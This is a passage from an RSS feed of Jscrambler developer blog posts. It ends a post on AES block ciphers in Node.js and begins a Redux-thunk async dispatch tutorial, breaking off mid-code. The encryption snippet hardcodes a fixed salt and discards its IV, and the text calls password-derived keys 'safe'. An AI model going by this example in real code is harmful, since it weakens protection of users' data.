&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;encryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;algorithm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aes-192-ctr&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scryptSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;salt&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// generate a secure crypto key from a string based password&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;aesCipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createCipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;algorithm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;encryptedContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aesCipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;encryptedContent&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;aesCipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;final&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;encryptedContent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;big message contents to protect&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;safest password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Encryption is very important in order to protect both our own and our user’s data in today’s world. It is easy to assume that either the browser (or the operating system it is being executed on) could become compromised, and the assumptions given by a HTTPS connection can occur only after an attacker has gained access to information.&lt;/p&gt;

&lt;p&gt;For scenarios where it is important to guarantee sensitive information to send to the server-side as soon as possible, a solution can be to reuse the user’s password. That can be accomplished by deriving a secret key from it to be used in a symmetric cryptographic algorithm, like the AES described in this post. Since only the user and the server know the original password, and given that the operation is deterministic, it may be a useful and safe solution to implement.&lt;/p&gt;

&lt;p&gt;The key aspect to retain from this post is to use the correct operation mode for your use case and to never try to invent a new mode or algorithm. Misuse of cryptographic structures can introduce vulnerabilities to the system that were not there before.&lt;/p&gt;




&lt;p&gt;Finally, in case you’re developing web or mobile applications using JavaScript, make sure you are protecting their source code from code theft, tampering, and reverse engineering. You can try this in your own code with a &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_content=block-ciphers" class="free-trial-link"&gt;free Jscrambler trial&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>security</category>
      <category>algorithms</category>
      <category>programming</category>
    </item>
    <item>
      <title>Async Dispatch Chaining with Redux-Thunk</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Fri, 03 Jul 2020 11:20:57 +0000</pubDate>
      <link>https://forem.com/jscrambler/async-dispatch-chaining-with-redux-thunk-1an9</link>
      <guid>https://forem.com/jscrambler/async-dispatch-chaining-with-redux-thunk-1an9</guid>
      <description>&lt;p&gt;Asynchrony in React-Redux is often done &lt;a href="https://blog.jscrambler.com/asynchronous-operations-in-react-redux/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=async-dispatch"&gt;via a thunk&lt;/a&gt;. This thunk function is &lt;em&gt;middleware&lt;/em&gt; that unlocks async operations by deferring execution. In this take, we’ll dive into what happens when there is more than a single async request. Async code is unpredictable because completion is not known ahead of time and multiple requests complicate things.&lt;/p&gt;

&lt;p&gt;The use case is not unheard of - Ajax calls often fire at initial page load. The app then needs to know when all calls finish to allow user interaction. Firing multiple requests from different parts of the Redux store and knowing when it’s ready is hard.&lt;/p&gt;

&lt;p&gt;The complete sample code is available on &lt;a href="https://github.com/JscramblerBlog/async-dispatch-chaining-redux-thunk"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Begin with &lt;code&gt;npm init&lt;/code&gt; and add this to the &lt;code&gt;package.json&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node index.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"server"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"json-server --watch db.json"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Then, put in place all dependencies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;npm i redux redux-thunk axios json-server &lt;span class="nt"&gt;--save&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;For the &lt;code&gt;json-server&lt;/code&gt; create a &lt;code&gt;db.json&lt;/code&gt; file and create these resources:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "posts": [{"id": 1, "title": "dispatch chaining"}],
  "profile": {"name": "C R"}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This completes the back-end API. Now, imagine a React/Redux app that has profile and post info in the store. We’ll create actions to mutate data, a flag to know when it’s finished, and a reducer.&lt;/p&gt;

&lt;p&gt;The typical code might look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;redux&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;redux&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;thunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;redux-thunk&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;UPDATE_POSTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;UPDATE_POSTS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;UPDATE_PROFILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;UPDATE_PROFILE&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;UPDATE_DONE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;UPDATE_DONE&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updatePosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;posts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;UPDATE_POSTS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updateProfile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;UPDATE_PROFILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updateDone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;UPDATE_DONE&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reducer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="na"&gt;UPDATE_POSTS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;posts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="na"&gt;UPDATE_PROFILE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="na"&gt;UPDATE_DONE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;isDone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="nl"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;redux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="nx"&gt;redux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;applyMiddleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;thunk&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;unsubscribe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getState&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Because this runs in node, CommonJS is useful for including modules via &lt;code&gt;require&lt;/code&gt;. The rest of this code should not surprise anyone who has written React/Redux code before. We’ve created a store with &lt;code&gt;redux.createStore&lt;/code&gt; and applied the thunk middleware. As mutations ripple through the store, &lt;code&gt;store.subscribe&lt;/code&gt; spits out what’s in the store to the console output.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem in multiple endpoints
&lt;/h2&gt;

&lt;p&gt;One question that comes to mind is, what happens when we have more than one endpoint? We need two async operations and a way to know when both are done. Redux has a way to do this that appears simple on the surface but becomes deceptive.&lt;/p&gt;

&lt;p&gt;A naive implementation might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ROOT_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:3000&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loadPosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ROOT_URL&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/posts&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updatePosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loadProfile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ROOT_URL&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/profile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updateProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Done is always set to true BEFORE async calls complete&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;actions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;redux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bindActionCreators&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="nx"&gt;loadPosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;loadProfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;updateDone&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadPosts&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadProfile&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;updateDone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- executes first&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;The problem at hand lies in the fact Redux has no way of knowing &lt;em&gt;when&lt;/em&gt; both async operations finish. The dispatched action &lt;code&gt;updateDone&lt;/code&gt; mutates state &lt;em&gt;before&lt;/em&gt; post and profile data are in the store. This makes async/await unpredictable since we don’t know when a dispatch with response data executes. We can wait for a response via &lt;code&gt;await&lt;/code&gt; inside the thunk itself but lose all control outside of the function.&lt;/p&gt;

&lt;p&gt;One potential solution is to lump all async code into a single thunk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Illustration only, AVOID this&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;combinedThunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;responsePosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ROOT_URL&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/posts&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updatePosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;responsePosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;responseProfile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ROOT_URL&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/profile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
